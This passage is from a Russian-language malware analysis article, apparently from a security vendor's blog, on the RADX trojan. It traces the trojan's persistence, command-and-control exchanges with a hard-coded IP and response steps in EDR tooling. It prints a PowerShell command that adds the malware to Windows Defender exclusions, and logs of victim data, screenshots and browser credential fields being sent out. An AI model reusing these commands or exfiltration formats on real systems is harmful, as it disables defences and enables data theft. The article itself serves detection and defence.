\u044f\u0432\u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0434\u0443\u043c\u0430\u043d\u043e.<\/p>\n<p>\u0418\u0442\u0430\u043a, \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 Task Scheduler.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f6e\/320\/b4c\/f6e320b4cb48121440d6d2413fdfa6c2.png\" width=\"1445\" height=\"583\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f6e\/320\/b4c\/f6e320b4cb48121440d6d2413fdfa6c2.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/82d\/287\/2ec\/82d2872ec6d968802946ce1add98ee72.png\" width=\"930\" height=\"178\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/82d\/287\/2ec\/82d2872ec6d968802946ce1add98ee72.png\"\/><\/figure>\n<p>\u0412 MaxPatrol EDR \u0432\u0438\u0434\u0438\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e46\/937\/536\/e46937536d09a3a94598de8c31fbbd63.png\" width=\"958\" height=\"888\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e46\/937\/536\/e46937536d09a3a94598de8c31fbbd63.png\"\/><\/figure>\n<p>\u0410 \u0432\u043e\u0442 Powershell-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f AppLaunch.exe \u0432 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f Windows Defender.<\/p>\n<pre><code class=\"powershell\">powershell -Command Add-MpPreference -ExclusionPath \"%localappdata%\\Packages\\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\\AppLaunch.exe\"<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3b2\/3cf\/6e9\/3b23cf6e9fdb11dd70e3fb219461f0b2.png\" width=\"1210\" height=\"748\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3b2\/3cf\/6e9\/3b23cf6e9fdb11dd70e3fb219461f0b2.png\"\/><\/figure>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/672\/65d\/0c7\/67265d0c7e56490faa95e38e069db022.png\" width=\"1332\" height=\"337\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/672\/65d\/0c7\/67265d0c7e56490faa95e38e069db022.png\"\/><\/figure>\n<p>\u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 C2.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a1c\/783\/5f4\/a1c7835f40dac027bdee792b23d4483a.png\" width=\"1657\" height=\"305\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a1c\/783\/5f4\/a1c7835f40dac027bdee792b23d4483a.png\"\/><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e RADX \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c IP-\u0430\u0434\u0440\u0435\u0441 \u0436\u0435\u0440\u0442\u0432\u044b \u0447\u0435\u0440\u0435\u0437 ipinfo.io\/json.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:43 PM [    HTTPListener80]   GET \/json HTTP\/1.1 02\/16\/24 05:43:43 PM [    HTTPListener80]   Host: ipinfo.io 02\/16\/24 05:43:43 PM [    HTTPListener80]   Connection: Keep-Alive 02\/16\/24 05:43:43 PM [    HTTPListener80]   <\/code><\/pre>\n<p>\u041f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0436\u0435\u0440\u0442\u0432\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u0432 \u043e\u0442\u0432\u0435\u0442 \u0441\u0432\u043e\u0439 id.<\/p>\n<pre><code class=\"markdown\">2\/16\/24 05:43:45 PM [  HTTPListener1337]   POST \/add_user HTTP\/1.1 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Content-Type: application\/json; charset=utf-8 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Content-Length: 227 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Expect: 100-continue 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:43:45 PM [  HTTPListener1337]    02\/16\/24 05:43:45 PM [  HTTPListener1337]    02\/16\/24 05:43:45 PM [  HTTPListener1337] b'  {\"ip\":\"45.88.97.66\",\"country\":\"DE\",\"postal\":\"60311\",\"city\":\"Frankfurt am Main\",\"windows_version\":\"Microsoft Windows NT 6.3.9600.0\",\"ram\":33222656,\"video_card\":\"VMware SVGA 3D\",\"processor\":\"12th Gen Intel(R) Core(TM) i7-12700H\"}'<\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 RADX \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 check\/&lt;id>, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u0441\u0435 \u0433\u043e\u0442\u043e\u0432\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:47 PM [  HTTPListener1337]   POST \/check\/7dbc8678-05bc-48da-8959-92300520e879 HTTP\/1.1 02\/16\/24 05:43:47 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:43:47 PM [  HTTPListener1337]   Content-Length: 0 02\/16\/24 05:43:47 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:43:47 PM [  HTTPListener1337]    02\/16\/24 05:43:47 PM [  HTTPListener1337]    02\/16\/24 05:43:47 PM [  HTTPListener1337] b'  '<\/code><\/pre>\n<p>\u041d\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440\u00a0\u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:50 PM [  HTTPListener1337]   POST \/7dbc8678-05bc-48da-8959-92300520e879\/cmd HTTP\/1.1 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Content-Type: application\/json; charset=utf-8 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Content-Length: 470 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Expect: 100-continue 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:43:50 PM [  HTTPListener1337]    02\/16\/24 05:43:50 PM [  HTTPListener1337]    02\/16\/24 05:43:50 PM [  HTTPListener1337] b'  {\"cmd\":\"TWljcm9zb2Z0IFdpbmRvd3MgW1ZlcnNpb24gMTAuMC4xOTA0NS4zOTMwXQ0KKGMpIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4NCg0KYzpcVXNlcnNcdnNcdGVzdFxyYWR4PndtaWMgcHJvY2VzcyBjYWxsIGNyZWF0ZSBjYWxjLmV4ZQ0KRXhlY3V0aW5nIChXaW4zMl9Qcm9jZXNzKS0+Q3JlYXRlKCkNDQpNZXRob2QgZXhlY3V0aW9uIHN1Y2Nlc3NmdWwuDQ0KT3V0IFBhcmFtZXRlcnM6DQppbnN0YW5jZSBvZiBfX1BBUkFNRVRFUlMNCnsNCglQcm9jZXNzSWQgPSA5Njg0Ow0KCVJldHVyblZhbHVlID0gMDsNCn07DQoNCmM6XFVzZXJzXHZzXHRlc3RccmFkeD5leGl0DQoKDQo=\"}' <\/code><\/pre>\n<p>\u0421\u043d\u0438\u043c\u0430\u0435\u043c Base64.<\/p>\n<pre><code class=\"bash\">Microsoft Windows [Version 10.0.19045.3930] (c) Microsoft Corporation. All rights reserved.  c:\\Users\\vs\\test\\radx>wmic process call create calc.exe Executing (Win32_Process)->Create()  Method execution successful.  Out Parameters: instance of __PARAMETERS { ProcessId = 9684; ReturnValue = 0; };  c:\\Users\\vs\\test\\radx>exit<\/code><\/pre>\n<p>\u0412 MaxPatrol EDR \u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e61\/a48\/01f\/e61a4801f9c08a988ed6f5102209bcac.png\" width=\"1573\" height=\"311\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e61\/a48\/01f\/e61a4801f9c08a988ed6f5102209bcac.png\"\/><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 RADX \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:55 PM [  HTTPListener1337]   GET \/answer_stream_start\/7dbc8678-05bc-48da-8959-92300520e879 HTTP\/1.1 02\/16\/24 05:43:55 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:43:55 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:43:55 PM [  HTTPListener1337]    02\/16\/24 05:43:55 PM [  HTTPListener1337]<\/code><\/pre>\n<p>\u0418 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0430\u0447\u043a\u0443 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:57 PM [  HTTPListener1337]   POST \/upload_screenshot\/7dbc8678-05bc-48da-8959-92300520e879 HTTP\/1.1 02\/16\/24 05:43:57 PM [  HTTPListener1337]   Content-Type: application\/json; charset=utf-8 02\/16\/24 05:43:57 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:43:57 PM [  HTTPListener1337]   Content-Length: 290181 02\/16\/24 05:43:57 PM [  HTTPListener1337]   Expect: 100-continue 02\/16\/24 05:43:57 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:43:57 PM [  HTTPListener1337]    02\/16\/24 05:43:57 PM [  HTTPListener1337]    02\/16\/24 05:43:57 PM [  HTTPListener1337] b'  {\"screenshot\":\"\/9j\/4AAQSkZJ \u2026 }<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0442\u0432\u0435\u0442.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:44:00 PM [  HTTPListener1337]   GET \/answer_stream_stop\/7dbc8678-05bc-48da-8959-92300520e879 HTTP\/1.1 02\/16\/24 05:44:00 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:44:00 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:44:00 PM [  HTTPListener1337]    02\/16\/24 05:44:00 PM [  HTTPListener1337]<\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <code>upload_file<\/code>.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 07:22:29 PM [  HTTPListener1337] Storing HTTP POST headers and data to http_20240216_192229.txt. 02\/16\/24 07:22:31 PM [  HTTPListener1337]   POST \/7dbc8678-05bc-48da-8959-92300520e879\/cmd HTTP\/1.1 02\/16\/24 07:22:31 PM [  HTTPListener1337]   Content-Type: application\/json; charset=utf-8 02\/16\/24 07:22:31 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 07:22:31 PM [  HTTPListener1337]   Content-Length: 130 02\/16\/24 07:22:31 PM [  HTTPListener1337]   Expect: 100-continue 02\/16\/24 07:22:31 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 07:22:31 PM [  HTTPListener1337]    02\/16\/24 07:22:31 PM [  HTTPListener1337]    02\/16\/24 07:22:31 PM [  HTTPListener1337] b'  {\"cmd\":\"0KTQsNC50LsgYzpcVXNlcnNcdnNcdGVzdFxyYWR4XG15Y2FsYy5iYXQg0YPRgdC\/0LXRiNC90L4g0L7RgtC60YDRi9GCINC90LAg0LrQu9C40LXQvdGC0LUu\"}' <\/code><\/pre>\n<p>\u0421\u043d\u0438\u043c\u0430\u0435\u043c Base64.<\/p>\n<pre><code class=\"markdown\">\u0424\u0430\u0439\u043b c:\\Users\\vs\\test\\radx\\mycalc.bat \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435.<\/code><\/pre>\n<p>\u0412 MaxPatrol EDR \u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/811\/7b4\/4a1\/8117b44a1ba6344dc1e5796c59ad2e52.png\" width=\"1653\" height=\"356\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/811\/7b4\/4a1\/8117b44a1ba6344dc1e5796c59ad2e52.png\"\/><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0432\u0438\u0434\u0438\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 07:22:36 PM [  HTTPListener1337]   POST \/7dbc8678-05bc-48da-8959-92300520e879\/cmd HTTP\/1.1 02\/16\/24 07:22:36 PM [  HTTPListener1337]   Content-Type: application\/json; charset=utf-8 02\/16\/24 07:22:36 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 07:22:36 PM [  HTTPListener1337]   Content-Length: 94 02\/16\/24 07:22:36 PM [  HTTPListener1337]   Expect: 100-continue 02\/16\/24 07:22:36 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 07:22:36 PM [  HTTPListener1337]    02\/16\/24 07:22:36 PM [  HTTPListener1337]    02\/16\/24 07:22:36 PM [  HTTPListener1337] b'  {\"cmd\":\"0KHRgdGL0LvQutCwINGD0YHQv9C10YjQvdC+INC+0YLQutGA0YvRgtCwOiBodHRwOi8vZ29vZ2xlLmNvbQ==\"}' <\/code><\/pre>\n<p>\u0421\u043d\u0438\u043c\u0430\u0435\u043c Base64.<\/p>\n<pre><code class=\"markdown\">\u0421\u0441\u044b\u043b\u043a\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0430: http:\/\/google.com<\/code><\/pre>\n<p>\u0412 MaxPatrol EDR \u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u0432.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/68d\/2e1\/b7e\/68d2e1b7e486609f80ed7851ca9fd14d.png\" width=\"965\" height=\"183\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/68d\/2e1\/b7e\/68d2e1b7e486609f80ed7851ca9fd14d.png\"\/><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 gzip-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <code>backup_info<\/code>.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 07:22:47 PM [  HTTPListener1337]   POST \/end-point-c-sharp\/7dbc8678-05bc-48da-8959-92300520e879 HTTP\/1.1 02\/16\/24 07:22:47 PM [  HTTPListener1337]   Content-Encoding: gzip 02\/16\/24 07:22:47 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 07:22:47 PM [  HTTPListener1337]   Content-Length: 68700 02\/16\/24 07:22:47 PM [  HTTPListener1337]   Expect: 100-continue 02\/16\/24 07:22:47 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 07:22:47 PM [  HTTPListener1337]    02\/16\/24 07:22:47 PM [  HTTPListener1337]    02\/16\/24 07:22:47 PM [  HTTPListener1337] b'  \\x1f\\x8b\\x08\\x00 \u2026<\/code><\/pre>\n<p>\u0412 \u044d\u0442\u043e\u043c \u0430\u0440\u0445\u0438\u0432\u0435 \u043b\u0435\u0436\u0438\u0442 json \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f.<\/p>\n<pre><code class=\"json\">{   \"additionalInfo\": {     \"ip\": \"45.88.97.66\",     \"country\": \"DE\",     \"postal\": \"60311\",     \"city\": \"Frankfurt am Main\"   },   \"DesktopFiles\": [     {       \"FilePath\": \"C:\\\\Users\\\\vs\\\\Desktop\\\\available_packages.txt\",       \"FileExtension\": \".txt\",       \"FileContentBase64\": \"\",       \"FileName\": \"available_packages.txt\"     },     {       \"FilePath\": \"C:\\\\Users\\\\vs\\\\Desktop\\\\failed_packages.txt\",       \"FileExtension\": \".txt\",       \"FileContentBase64\": \"\",       \"FileName\": \"failed_packages.txt\"     }   ],   \"Discord\": [],   \"Wallets\": [],   \"Extension\": [],   \"Telegram\": [],   \"dataBrowser\": {     \"Microsoft Edge\": {       \"localstate\": \"\",       \"profiles\": [         {           \"ProfileName\": \"DEFAULT\",           \"Cookies\": \"\",           \"Logins\": \"\"         }       ]     },     \"Chrome\": {       \"localstate\": \"\",       \"profiles\": [         {           \"ProfileName\": \"Default\",           \"Cookies\": \"\",           \"Logins\": \"\"         }       ]     }   } } <\/code><\/pre>\n<p>\u00a0<\/p>\n<p>\u041c\u044b \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c PCAP, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e FakeNet-NG, \u043d\u0430\u0448\u0438\u043c\u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u0435\u0442\u0435\u043a\u0442. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 Positive Technologies \u2014 PT Network Attack Discovery \u2014 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a RADX.<\/p>\n<h2>\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f<\/h2>\n<p>\u0414\u043b\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0443 MaxPatrol EDR \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u0438: <\/p>\n<ul>\n<li>\n<p>\u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432;<\/p>\n<\/li>\n<li>\n<p>\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0443;<\/p>\n<\/li>\n<li>\n<p>\u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 PT Sandbox.<\/p>\n<\/li>\n<\/ul>\n<p>\u041d\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 <code>Malware_Trojan_Win32_Generic_a<\/code> \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u00ab\u0417\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u00bb, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f03\/017\/79b\/f0301779b673824259561ba87e10648d.png\" width=\"1676\" height=\"108\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f03\/017\/79b\/f0301779b673824259561ba87e10648d.png\"\/><\/figure>\n<p>\u0421\u043e\u0431\u044b\u0442\u0438\u0435 <code>Double_File_Extension_Masquerading<\/code> \u0442\u0430\u043a\u0436\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c. \u0418\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0432 PT Sandbox.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/32e\/206\/778\/32e2067781734017c0ebf56192897deb.png\" width=\"1699\" height=\"149\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/32e\/206\/778\/32e2067781734017c0ebf56192897deb.png\"\/><\/figure>\n<p>\u0412\u043e\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 PT Sandbox \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u0430 \u00ab\u0441\u043a\u0440\u0438\u043d \u043e\u043f\u043b\u0430\u0442\u044b \u0437\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.pdf.exe\u00bb.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9c3\/d6d\/03e\/9c3d6d03ef4abc6419e6cb81bfe2de7c.png\" width=\"873\" height=\"367\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9c3\/d6d\/03e\/9c3d6d03ef4abc6419e6cb81bfe2de7c.png\"\/><\/figure>\n<pre><code class=\"markdown\">\u0422\u0440\u043e\u044f\u043d \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0435 \u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u041f\u041e \u0422\u0440\u043e\u044f\u043d (Trojan.Win32.Inject.a) \u0422\u0440\u043e\u044f\u043d (Trojan.Win32.Generic.a) \u0422\u0440\u043e\u044f\u043d (Trojan.Win32.Generic.f) \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 10\/10 